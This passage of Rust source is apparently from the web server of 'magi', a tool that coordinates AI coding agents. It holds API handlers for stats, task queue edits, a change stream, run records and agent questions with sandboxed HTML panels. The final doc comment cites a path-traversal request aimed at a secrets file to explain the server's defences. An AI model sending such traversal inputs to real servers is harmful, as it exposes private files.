4416    failed: usize,
4417    held: usize,
4418    blocked: usize,
4419}
4420
4421impl From<crate::queue::TaskCounts> for TaskCountsView {
4422    fn from(c: crate::queue::TaskCounts) -> Self {
4423        Self {
4424            queued: c.queued,
4425            running: c.running,
4426            done: c.done,
4427            failed: c.failed,
4428            held: c.held,
4429            blocked: c.blocked,
4430        }
4431    }
4432}
4433
4434/// [`crate::stats::RepoStats`] for the wire, one row per repository with
4435/// runs recorded — the summary the UI's repository selector is built from.
4436/// Carries no nested `Stats`: picking a repo means re-fetching
4437/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
4438/// aggregation rather than duplicating it.
4439#[derive(Debug, Serialize)]
4440struct RepoSummaryView {
4441    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
4442    /// against, full path and all (see [`stats_get`]'s own doc for why).
4443    repo: String,
4444    /// Display name only; never used for matching.
4445    name: String,
4446    runs: usize,
4447    completion_rate: Option<RateView>,
4448}
4449
4450impl From<&stats::RepoStats> for RepoSummaryView {
4451    fn from(r: &stats::RepoStats) -> Self {
4452        let t = &r.stats.totals;
4453        Self {
4454            repo: r.repo.to_string_lossy().into_owned(),
4455            name: r.name.clone(),
4456            runs: t.runs,
4457            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4458        }
4459    }
4460}
4461
4462/// `GET /api/stats` - the whole answer. `Stats` itself carries no
4463/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
4464/// renders from them) are free to grow without that becoming a wire-contract
4465/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
4466/// data" from "computed and it really is zero" the way [`RateView`] does.
4467#[derive(Debug, Serialize)]
4468struct StatsView {
4469    totals: StatsTotalsView,
4470    /// Best win rate first, as [`stats::collect`] already sorts it.
4471    agents: Vec<AgentStatsView>,
4472    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
4473    reviewers: Vec<ReviewerStatsView>,
4474    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
4475    advisors: Vec<AdvisorStatsView>,
4476    e2e: E2eStatsView,
4477    release_bumps: ReleaseBumpStatsView,
4478    queue: TaskCountsView,
4479    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
4480    /// that field's doc. Asserted to match it in
4481    /// `stats_runs_unreadable_matches_health`.
4482    ///
4483    /// Always the whole-workload count, even when `repo` narrows every other
4484    /// field to one repository - an unreadable `run.json` carries no `repo`
4485    /// a per-repository count could attribute it to, and the queue/health
4486    /// views this mirrors never scope it either. The UI must not present it
4487    /// as if it were scoped to the selected repository.
4488    runs_unreadable: usize,
4489    /// Every repository with runs recorded, most runs first - what the UI's
4490    /// repository selector is built from. Always the full list regardless of
4491    /// `repo`, so switching repositories never needs a second request.
4492    repos: Vec<RepoSummaryView>,
4493    /// The `?repo=` value this response was narrowed to, echoed back so the
4494    /// UI can confirm its selection round-tripped. `None` for the aggregate,
4495    /// all-repositories view.
4496    repo: Option<String>,
4497}
4498
4499/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
4500/// repository. Matched by full-path equality against `RunState.repo` only
4501/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
4502/// `--repo` is, because the value here always came from this same route's
4503/// own `repos` list in an earlier response, never typed by a human. A value
4504/// matching no run is a 404, not an empty aggregate: the caller asked for a
4505/// specific, named repository, and silently returning zeroes would look
4506/// exactly like a repository that has runs but none of interest.
4507#[derive(Debug, Default, Deserialize)]
4508#[serde(default)]
4509struct StatsQuery {
4510    repo: Option<String>,
4511}
4512
4513/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
4514/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
4515/// runs when `?repo=` narrows it), the same counting logic `magi stats`
4516/// prints from. Reads every readable run on disk, exactly as
4517/// [`runs_unreadable`] does, so the two counts can never drift apart the way
4518/// a separately-maintained tally could.
4519async fn stats_get(
4520    State(ui): State<Arc<Ui>>,
4521    Query(q): Query<StatsQuery>,
4522) -> ApiResult<Json<StatsView>> {
4523    blocking(move || {
4524        let states: Vec<RunState> = run_ids(&ui.runs)
4525            .into_iter()
4526            .filter_map(|id| read_run(&ui.runs, &id).ok())
4527            .collect();
4528        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4529            .iter()
4530            .map(RepoSummaryView::from)
4531            .collect();
4532        let collected = match &q.repo {
4533            Some(repo) => {
4534                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4535                if filtered.is_empty() {
4536                    return Err(ApiError::not_found(format!(
4537                        "no runs recorded against repo `{repo}`"
4538                    )));
4539                }
4540                stats::collect_refs(filtered)
4541            }
4542            None => stats::collect(&states),
4543        };
4544        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4545        Ok(Json(StatsView {
4546            totals: StatsTotalsView::from(&collected.totals),
4547            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4548            reviewers: collected
4549                .reviewers
4550                .iter()
4551                .map(ReviewerStatsView::from)
4552                .collect(),
4553            advisors: collected
4554                .advisors
4555                .iter()
4556                .map(AdvisorStatsView::from)
4557                .collect(),
4558            e2e: E2eStatsView::from(&collected.e2e),
4559            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4560            queue: TaskCountsView::from(queue_counts),
4561            runs_unreadable: runs_unreadable(&ui.runs),
4562            repos,
4563            repo: q.repo.clone(),
4564        }))
4565    })
4566    .await
4567}
4568
4569/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
4570/// gives no reason - which must keep working, since not every hold has one.
4571#[derive(Debug, Default, Deserialize)]
4572#[serde(default, deny_unknown_fields)]
4573struct HoldBody {
4574    reason: Option<String>,
4575}
4576
4577async fn queue_hold(
4578    State(ui): State<Arc<Ui>>,
4579    Path(id): Path<String>,
4580    body: std::result::Result<Json<HoldBody>, JsonRejection>,
4581) -> ApiResult<Json<TaskView>> {
4582    // An absent body is the ordinary case - most holds are unexplained, and
4583    // that has to stay a one-tap action rather than a form. A body that is
4584    // present and malformed is still a bad request.
4585    let body = match body {
4586        Ok(Json(body)) => body,
4587        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4588        Err(e) => return Err(ApiError::bad_request(e.body_text())),
4589    };
4590    let reason = body.reason.filter(|r| !r.trim().is_empty());
4591    mutate(ui, id, move |t| {
4592        t.hold_manual(reason.clone());
4593        Ok(())
4594    })
4595    .await
4596}
4597
4598async fn queue_release(
4599    State(ui): State<Arc<Ui>>,
4600    Path(id): Path<String>,
4601) -> ApiResult<Json<TaskView>> {
4602    mutate(ui, id, |t| {
4603        t.release();
4604        Ok(())
4605    })
4606    .await
4607}
4608
4609/// The body of `POST /api/queue/{id}/priority`.
4610#[derive(Debug, Deserialize)]
4611#[serde(deny_unknown_fields)]
4612struct PriorityBody {
4613    priority: i32,
4614}
4615
4616/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
4617///
4618/// [`Task::set_priority`] is the one place the "not while running" rule is
4619/// stated; this route only carries the body to it and lets its `Err` become
4620/// the 4xx the card shows.
4621async fn queue_priority(
4622    State(ui): State<Arc<Ui>>,
4623    Path(id): Path<String>,
4624    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4625) -> ApiResult<Json<TaskView>> {
4626    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4627    mutate(ui, id, move |t| t.set_priority(body.priority)).await
4628}
4629
4630/// The body of `POST /api/queue/{id}/edit`.
4631#[derive(Debug, Deserialize)]
4632#[serde(deny_unknown_fields)]
4633struct EditBody {
4634    title: String,
4635    instruction: String,
4636    /// Save even though the new text names a branch, commit or pull request
4637    /// that unfinished work already owns.
4638    #[serde(default)]
4639    force: bool,
4640}
4641
4642/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
4643/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
4644/// that refusal's message is what the sheet shows back.
4645async fn queue_edit(
4646    State(ui): State<Arc<Ui>>,
4647    Path(id): Path<String>,
4648    body: std::result::Result<Json<EditBody>, JsonRejection>,
4649) -> ApiResult<Json<TaskView>> {
4650    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4651    // The judge is an agent call, so it is awaited here, outside the claim
4652    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
4653    // remembered, and the save refuses if the task moved underneath it.
4654    let mut judged: Option<(String, PathBuf)> = None;
4655    if !body.force {
4656        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
4657        let (id, text) = (id.clone(), body.instruction.clone());
4658        let (seen, hits) = blocking(move || {
4659            let id = resolve_task(&queue, &id)?;
4660            let t = queue.get(&id)?;
4661            if text == t.instruction {
4662                return Ok((None, Vec::new()));
4663            }
4664            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
4665            Ok((Some((t.instruction, t.repo)), hits))
4666        })
4667        .await?;
4668        if let Some((_, repo)) = &seen {
4669            let cfg = crate::config::Config::discover(repo, None)
4670                .ok()
4671                .map(|(c, _)| c);
4672            crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
4673                .await
4674                .map_err(|dup| {
4675                    ApiError::conflict(dup.render(
4676                        "Nothing was saved. If it is not a duplicate, repeat the request with \
4677                         \"force\": true.",
4678                    ))
4679                })?;
4680        }
4681        judged = seen;
4682    }
4683    let force = body.force;
4684    mutate(ui, id, move |t| {
4685        if !force && body.instruction != t.instruction {
4686            match &judged {
4687                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
4688                _ => {
4689                    anyhow::bail!("the task changed while it was being checked; repeat the request")
4690                }
4691            }
4692        }
4693        t.edit(body.title.clone(), body.instruction.clone())
4694    })
4695    .await
4696}
4697
4698/// `POST /api/queue/{id}/done` - close a task as finished without deleting
4699/// it, so the phone's other way to clear a task from the backlog does not
4700/// have to cost the run history, the attribution, and `created_at` the way
4701/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
4702/// can be marked done by hand, because this is for the run the loop never
4703/// saw land - a merge done by hand, or a gate that misreported - and that can
4704/// happen from any status the task was left in.
4705async fn queue_done(
4706    State(ui): State<Arc<Ui>>,
4707    Path(id): Path<String>,
4708) -> ApiResult<Json<TaskView>> {
4709    let home = ui.home.clone();
4710    mutate(ui, id, move |t| {
4711        t.succeed();
4712        // Same as the loop's own settle path: closing a task by hand is just
4713        // as much "this task's story is over" as a daemon-driven `Merged`/
4714        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
4715        // behind must stop looking like it still needs a human. `ui.home`,
4716        // not the process-global `run::home()`: they agree in a real
4717        // process, but only `ui.home` also agrees with a test fixture's own
4718        // directory.
4719        crate::daemon::supersede_prior_runs(t, &home);
4720        Ok(())
4721    })
4722    .await
4723}
4724
4725/// `DELETE /api/queue/{id}`.
4726///
4727/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
4728/// names this task: a `running` status or an orphaned `.lock` left behind by a
4729/// killed daemon is a leftover, and treating either as authority made the
4730/// task undeletable from the phone for good. The associated runs, if any, are
4731/// kept: a run is self-contained history and not an appendage of the task.
4732async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4733    blocking(move || {
4734        let id = resolve_task(&ui.queue, &id)?;
4735        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
4736        ui.queue
4737            .remove(&id, in_flight, &ui.questions)
4738            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4739        Ok(StatusCode::NO_CONTENT)
4740    })
4741    .await
4742}
4743
4744/// Read a task, change it, write it back, under the queue's own lock.
4745///
4746/// Taking the same claim a daemon takes is what makes hold, release,
4747/// priority, edit, and done safe to press while magi is running: without it
4748/// the daemon's next save would land on top of the operator's change and
4749/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
4750/// both do, for a running task - and that refusal becomes the 4xx the card
4751/// shows, same as any other domain rule.
4752async fn mutate(
4753    ui: Arc<Ui>,
4754    id: String,
4755    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
4756) -> ApiResult<Json<TaskView>> {
4757    blocking(move || {
4758        let id = resolve_task(&ui.queue, &id)?;
4759        // `claim` fails when the lock file already exists, which is the
4760        // conflict the UI must report: the daemon owns that task's file for
4761        // as long as it is running it, and our write would be lost under its
4762        // next save. The message names the lock either way.
4763        let _claim = ui.queue.claim(&id).map_err(|e| {
4764            ApiError::conflict(format!(
4765                "{e:#} - a daemon is running this task, so it cannot be \
4766                 changed from here yet"
4767            ))
4768        })?;
4769        let mut task = ui.queue.get(&id)?;
4770        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
4771            Ok(dup) => ApiError::conflict(dup.render(
4772                "Nothing was saved. If it is not a duplicate, repeat the request with \
4773                 \"force\": true.",
4774            )),
4775            Err(e) => ApiError::bad_request_from(e),
4776        })?;
4777        ui.queue.put(&mut task)?;
4778        Ok(Json(TaskView::from(task)))
4779    })
4780    .await
4781}
4782
4783/// The change stream: one revision number per store, on connect and whenever
4784/// any of them moves.
4785///
4786/// The poll runs in one spawned task per client, which is affordable because
4787/// the work is a directory scan and a `stat` per file. It stops as soon as the
4788/// receiver is gone, so a phone that walks out of range costs nothing after
4789/// its next tick - there is no session and no cleanup to forget.
4790async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
4791    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
4792    tokio::spawn(async move {
4793        let mut ticker = tokio::time::interval(POLL);
4794        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
4795        loop {
4796            // The first tick completes immediately, which is what makes the
4797            // stream announce the current revisions on connect.
4798            ticker.tick().await;
4799            let state = Arc::clone(&ui);
4800            let revisions = tokio::task::spawn_blocking(move || {
4801                (
4802                    state.queue.revision(),
4803                    runs_revision(&state.runs),
4804                    state.questions.revision(),
4805                    state.talks.revision(),
4806                    state.notices.revision(),
4807                    // The loop's counter is in-process state rather than a
4808                    // file, so nothing the three stats above look at would
4809                    // tell this phone that another one started the loop.
4810                    state.lock_loop().rev,
4811                )
4812            })
4813            .await;
4814            let Ok(revisions) = revisions else { break };
4815            if last == Some(revisions) {
4816                continue;
4817            }
4818            last = Some(revisions);
4819            let payload = serde_json::json!({
4820                "queue_rev": revisions.0,
4821                "runs_rev": revisions.1,
4822                "questions_rev": revisions.2,
4823                "talks_rev": revisions.3,
4824                "notifications_rev": revisions.4,
4825                "loop_rev": revisions.5,
4826            });
4827            // Serializing five integers cannot fail; giving up beats looping.
4828            let Ok(event) = Event::default().event("change").json_data(payload) else {
4829                break;
4830            };
4831            if tx.send(event).await.is_err() {
4832                break;
4833            }
4834        }
4835    });
4836    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
4837        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
4838}
4839
4840/// Change detection token for recorded runs under `runs`.
4841///
4842/// Combines the id and `run.json` modification time of each run, so adding,
4843/// updating, or deleting any run — even an older one — moves the revision and
4844/// notifies connected clients via the change stream. Returns 0 when no runs
4845/// exist.
4846fn runs_revision(runs: &FsPath) -> u64 {
4847    use std::hash::{Hash as _, Hasher as _};
4848
4849    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
4850        .into_iter()
4851        .flatten()
4852        .flatten()
4853        .filter_map(|e| {
4854            let path = e.path().join("run.json");
4855            let mtime = path
4856                .metadata()
4857                .ok()?
4858                .modified()
4859                .ok()?
4860                .duration_since(std::time::UNIX_EPOCH)
4861                .ok()?
4862                .as_millis() as u64;
4863            let id = e.file_name().to_string_lossy().into_owned();
4864            Some((id, mtime))
4865        })
4866        .collect();
4867
4868    if entries.is_empty() {
4869        return 0;
4870    }
4871
4872    entries.sort_unstable();
4873    let mut hasher = std::hash::DefaultHasher::new();
4874    for (id, mtime) in &entries {
4875        id.hash(&mut hasher);
4876        mtime.hash(&mut hasher);
4877    }
4878    let h = hasher.finish();
4879    if h == 0 { 1 } else { h }
4880}
4881
4882/// Run ids under `runs`, newest first.
4883///
4884/// Rooted at an explicit directory rather than calling [`run::list_ids`],
4885/// which reads the process-global home: the server has to be drivable against
4886/// a temp directory for any of this to be testable.
4887fn run_ids(runs: &FsPath) -> Vec<String> {
4888    let mut ids: Vec<String> = std::fs::read_dir(runs)
4889        .into_iter()
4890        .flatten()
4891        .flatten()
4892        .filter(|e| e.path().join("run.json").is_file())
4893        .map(|e| e.file_name().to_string_lossy().into_owned())
4894        .collect();
4895    // Ids start with a sortable timestamp.
4896    ids.sort_unstable_by(|a, b| b.cmp(a));
4897    ids
4898}
4899
4900/// Read one run's state from an explicit runs root.
4901fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
4902    let path = runs.join(id).join("run.json");
4903    let body =
4904        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
4905    let state: RunState =
4906        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
4907    // The same migration `RunState::load` applies, so a record from the
4908    // previous schema reads here as it does everywhere else (an origin-less
4909    // run shows as "origin unknown") instead of vanishing from the phone the
4910    // moment the schema is bumped.
4911    run::migrate_schema(state)
4912}
4913
4914/// Runs on disk under `runs` whose state this build cannot parse - almost
4915/// always a schema bump, occasionally a run killed mid-write.
4916///
4917/// Exposed so every surface that reports on runs shares one count instead of
4918/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
4919/// `magi doctor` calls this directly rather than guessing at the same number
4920/// a second way.
4921#[must_use]
4922pub fn runs_unreadable(runs: &FsPath) -> usize {
4923    run_ids(runs)
4924        .into_iter()
4925        .filter(|id| read_run(runs, id).is_err())
4926        .count()
4927}
4928
4929/// Expand an id or short id to exactly one run id.
4930fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
4931    if runs.join(id).join("run.json").is_file() {
4932        return Ok(id.to_owned());
4933    }
4934    pick(run_ids(runs), id, "run")
4935}
4936
4937/// Expand an id or short id to exactly one task id.
4938fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
4939    if queue.path_of(id).is_file() {
4940        return Ok(id.to_owned());
4941    }
4942    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
4943}
4944
4945/// A question as the phone reads it.
4946///
4947/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
4948/// text already parsed into a node tree so the client never runs its own
4949/// markdown reader over agent-authored prose. A relative image path in it
4950/// resolves against this question's own panel asset route, which is the one
4951/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
4952/// separate, sandboxed document, but `detail` is rendered inline in the
4953/// operator's own page, so an image reference in it may only ever point at
4954/// files magi itself already serves for this question.
4955#[derive(Debug, Serialize)]
4956struct QuestionView {
4957    #[serde(flatten)]
4958    question: Question,
4959    detail_md: Vec<md::Node>,
4960    /// Each thread turn's body, parsed; same order as `question.thread`.
4961    thread_bodies_md: Vec<Vec<md::Node>>,
4962    /// Is the ball in the agent's court right now?
4963    ///
4964    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
4965    /// [`Question::say`] - so this is the one field that tells the phone to
4966    /// disable the answer controls and show "waiting for the agent" instead of
4967    /// a card the owner can act on. Computed rather than stored on
4968    /// [`Question`] itself, on the same reasoning as `waiting` on
4969    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
4970    /// it here means the client never has to re-derive that rule.
4971    waiting_on_agent: bool,
4972    /// Who is waiting on this open question - see [`holder_of`]. Separate
4973    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
4974    /// anyone is there to take it.
4975    holder: Option<&'static str>,
4976    /// Whether `magi serve` can start a follow-up agent for a conductor
4977    /// question at all: false when `daemon.max_deputies = 0` or the config is
4978    /// unreadable. Separate from `holder`, which says who is listening now.
4979    deputies_enabled: bool,
4980    /// `question.run` is a task id (conductor / triage questions), not a run
4981    /// id, so the UI links it to the task page.
4982    run_is_task: bool,
4983}
4984
4985impl QuestionView {
4986    /// The view of `question`, reading who is waiting on it from `store`.
4987    ///
4988    /// `holder` needs the lease sidecar, which is why this is not a `From`.
4989    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
4990        let base = md::ImageBase::QuestionPanel {
4991            id: question.id.clone(),
4992        };
4993        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
4994        Self {
4995            detail_md: md::to_nodes(&question.detail, &base),
4996            thread_bodies_md: question
4997                .thread
4998                .iter()
4999                .map(|t| md::to_nodes(&t.body, &base))
5000                .collect(),
5001            waiting_on_agent: question.waiting_on_agent(),
5002            holder,
5003            deputies_enabled,
5004            run_is_task: question.run_names_task(),
5005            question,
5006        }
5007    }
5008}
5009
5010/// Can `magi serve` start a deputy under the config this repository resolves?
5011fn deputies_enabled(repo: &std::path::Path, q: &Question) -> bool {
5012    let cfg = Config::discover(repo, None).ok().map(|(c, _)| c);
5013    crate::deputy::can_start(cfg.as_ref(), crate::deputy::agent_of(q))
5014}
5015
5016/// Who is honestly waiting on an open question right now: `"asker"` (the
5017/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
5018/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
5019/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
5020/// up, or the question never had anyone listening (a conductor question or a
5021/// merge approval from before deputies, or not yet given one).
5022///
5023/// `None` for a question that is settled, and for one that is not an agent's
5024/// to wait on at all (a release notice).
5025fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5026    if !q.status.open() {
5027        return None;
5028    }
5029    if q.cwd.is_none() && q.deputy.is_none() {
5030        return matches!(
5031            q.node.as_str(),
5032            crate::conduct::NODE | crate::land::APPROVAL_NODE
5033        )
5034        .then_some("nobody");
5035    }
5036    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5037        Some(_) if q.deputy.is_some() => "deputy",
5038        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5039        Some(_) => "asker",
5040        None => "nobody",
5041    })
5042}
5043
5044/// `GET /api/questions`.
5045///
5046/// Everything, not just the open ones: an answered question is the record of a
5047/// decision, and the phone is where the operator goes back to check what they
5048/// told an agent at 3am. `ask::Questions::list` already ranks open first.
5049async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5050    blocking(move || {
5051        Ok(Json(
5052            ui.questions
5053                .list()
5054                .into_iter()
5055                .map(|q| {
5056                    let on = deputies_enabled(&ui.repo, &q);
5057                    QuestionView::of(q, &ui.questions, on)
5058                })
5059                .collect(),
5060        ))
5061    })
5062    .await
5063}
5064
5065/// `GET /api/notifications`: not dismissed, newest first, with the unread
5066/// count so the badge and the list cannot disagree.
5067async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5068    blocking(move || {
5069        let items = ui.notices.list();
5070        let unread = items.iter().filter(|n| n.unread()).count();
5071        Ok(Json(
5072            serde_json::json!({ "unread": unread, "items": items }),
5073        ))
5074    })
5075    .await
5076}
5077
5078fn notice_error(e: anyhow::Error) -> ApiError {
5079    // An unknown or malformed id and a vanished file are the same answer to
5080    // the phone: that notification is gone.
5081    ApiError::not_found(format!("{e:#}"))
5082}
5083
5084/// `POST /api/notifications/{id}/read`.
5085async fn notification_read(
5086    State(ui): State<Arc<Ui>>,
5087    Path(id): Path<String>,
5088) -> ApiResult<Json<Notice>> {
5089    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5090}
5091
5092/// `POST /api/notifications/{id}/dismiss`.
5093async fn notification_dismiss(
5094    State(ui): State<Arc<Ui>>,
5095    Path(id): Path<String>,
5096) -> ApiResult<Json<Notice>> {
5097    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5098}
5099
5100/// `POST /api/notifications/read-all`.
5101async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5102    blocking(move || {
5103        let changed = ui.notices.mark_all_read()?;
5104        Ok(Json(serde_json::json!({ "marked": changed })))
5105    })
5106    .await
5107}
5108
5109/// The body of `POST /api/questions/{id}/answer`.
5110///
5111/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
5112/// a bad request rather than a guess: an answer magi invented is worse than a
5113/// question left open.
5114#[derive(Debug, Default, Deserialize)]
5115#[serde(default, deny_unknown_fields)]
5116struct NewAnswer {
5117    choice: Option<String>,
5118    text: Option<String>,
5119}
5120
5121async fn question_answer(
5122    State(ui): State<Arc<Ui>>,
5123    Path(id): Path<String>,
5124    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5125) -> ApiResult<Json<QuestionView>> {
5126    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5127    let answer = match (body.choice, body.text) {
5128        (Some(c), None) => Answer::Choice(c),
5129        (None, Some(t)) => Answer::Text(t),
5130        (Some(_), Some(_)) => {
5131            return Err(ApiError::bad_request(
5132                "send either `choice` or `text`, not both",
5133            ));
5134        }
5135        (None, None) => {
5136            return Err(ApiError::bad_request("send a `choice` or a `text`"));
5137        }
5138    };
5139
5140    blocking(move || {
5141        let id = resolve_question(&ui.questions, &id)?;
5142        let q = ui
5143            .questions
5144            .get(&id)
5145            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5146        if !q.status.open() {
5147            // Answered from the terminal, or by another phone, in between the
5148            // list and the tap. The UI shows the recorded answer rather than an
5149            // error, so it needs the record, not just the status.
5150            return Err(ApiError::conflict(format!(
5151                "question {} is already {}",
5152                q.short(),
5153                q.status.as_str()
5154            )));
5155        }
5156        // `Question::answer` owns the rules - an unoffered choice, free text on
5157        // a multiple-choice question, an empty reply - so the route does not
5158        // restate them and cannot drift from the CLI's behaviour.
5159        let (q, ()) = ui
5160            .questions
5161            .update(&q.id, |r| r.answer(answer))
5162            .map_err(ApiError::bad_request_from)?;
5163        let on = deputies_enabled(&ui.repo, &q);
5164        Ok(Json(QuestionView::of(q, &ui.questions, on)))
5165    })
5166    .await
5167}
5168
5169/// The body of `POST /api/questions/{id}/say`.
5170#[derive(Debug, Deserialize)]
5171#[serde(deny_unknown_fields)]
5172struct NewSay {
5173    body: String,
5174}
5175
5176/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
5177///
5178/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
5179/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
5180/// file, so there is no turn to serialize against and no
5181/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
5182/// is a *different* process - the run parked behind `magi ask` - and picks
5183/// the reply up on its own poll of the very same file, same as an answer
5184/// does.
5185async fn question_say(
5186    State(ui): State<Arc<Ui>>,
5187    Path(id): Path<String>,
5188    body: std::result::Result<Json<NewSay>, JsonRejection>,
5189) -> ApiResult<Json<QuestionView>> {
5190    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5191    blocking(move || {
5192        let id = resolve_question(&ui.questions, &id)?;
5193        let q = ui
5194            .questions
5195            .get(&id)
5196            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5197        if !q.status.open() {
5198            // Same granularity as `question_answer`: answered or abandoned in
5199            // between the list and the tap is not this route's error to
5200            // explain any differently.
5201            return Err(ApiError::conflict(format!(
5202                "question {} is already {}",
5203                q.short(),
5204                q.status.as_str()
5205            )));
5206        }
5207        // `Question::say` owns the one rule that matters here - an empty
5208        // message tells the agent nothing - so the route does not restate it.
5209        let (q, ()) = ui
5210            .questions
5211            .update(&q.id, |r| r.say(body.body))
5212            .map_err(ApiError::bad_request_from)?;
5213        let on = deputies_enabled(&ui.repo, &q);
5214        Ok(Json(QuestionView::of(q, &ui.questions, on)))
5215    })
5216    .await
5217}
5218
5219/// Expand an id or short id to exactly one question id.
5220fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5221    if store.path_of(id).is_file() {
5222        return Ok(id.to_owned());
5223    }
5224    pick(
5225        store.list().into_iter().map(|q| q.id).collect(),
5226        id,
5227        "question",
5228    )
5229}
5230
5231/// `GET /api/questions/{id}/panel`.
5232///
5233/// The panel an agent wrote for this question, as `text/html` under
5234/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
5235/// A question without one is a 404 rather than an empty page: the client
5236/// preflights this route with `HEAD` and must be able to tell "no panel" from
5237/// "a panel that rendered blank", and a sandboxed frame is opaque to the
5238/// parent document so it cannot tell the difference by looking.
5239///
5240/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
5241/// sanitises or minifies it - a sanitiser is a list of things someone thought
5242/// of, and the sandbox plus the CSP is a list of things that are allowed, which
5243/// is the direction that stays safe when an agent writes markup nobody
5244/// predicted.
5245async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5246    blocking(move || {
5247        let id = resolve_question(&ui.questions, &id)?;
5248        let Some(html) = ui.questions.panel_html(&id) else {
5249            return Err(ApiError::not_found(format!("question {id} has no panel")));
5250        };
5251        Ok(panel_response(
5252            "text/html; charset=utf-8",
5253            false,
5254            html.into_bytes(),
5255        ))
5256    })
5257    .await
5258}
5259
5260/// `GET /api/questions/{id}/asset/{name}`.
5261///
5262/// One file from the question's own panel directory, so a panel can show a
5263/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
5264/// having to allow anything off this machine.
5265///
5266/// This is the only route in the server where a client names a file, so it is
5267/// the only one with a traversal surface, and the name is checked by
5268/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
5269/// what is worth being explicit about, because the answer is not "all of it in
5270/// one place":
5271///
5272/// * `asset/../../secrets` never reaches this handler at all. axum matches on
5273///   the raw request path and `{name}` spans exactly one segment, so a real
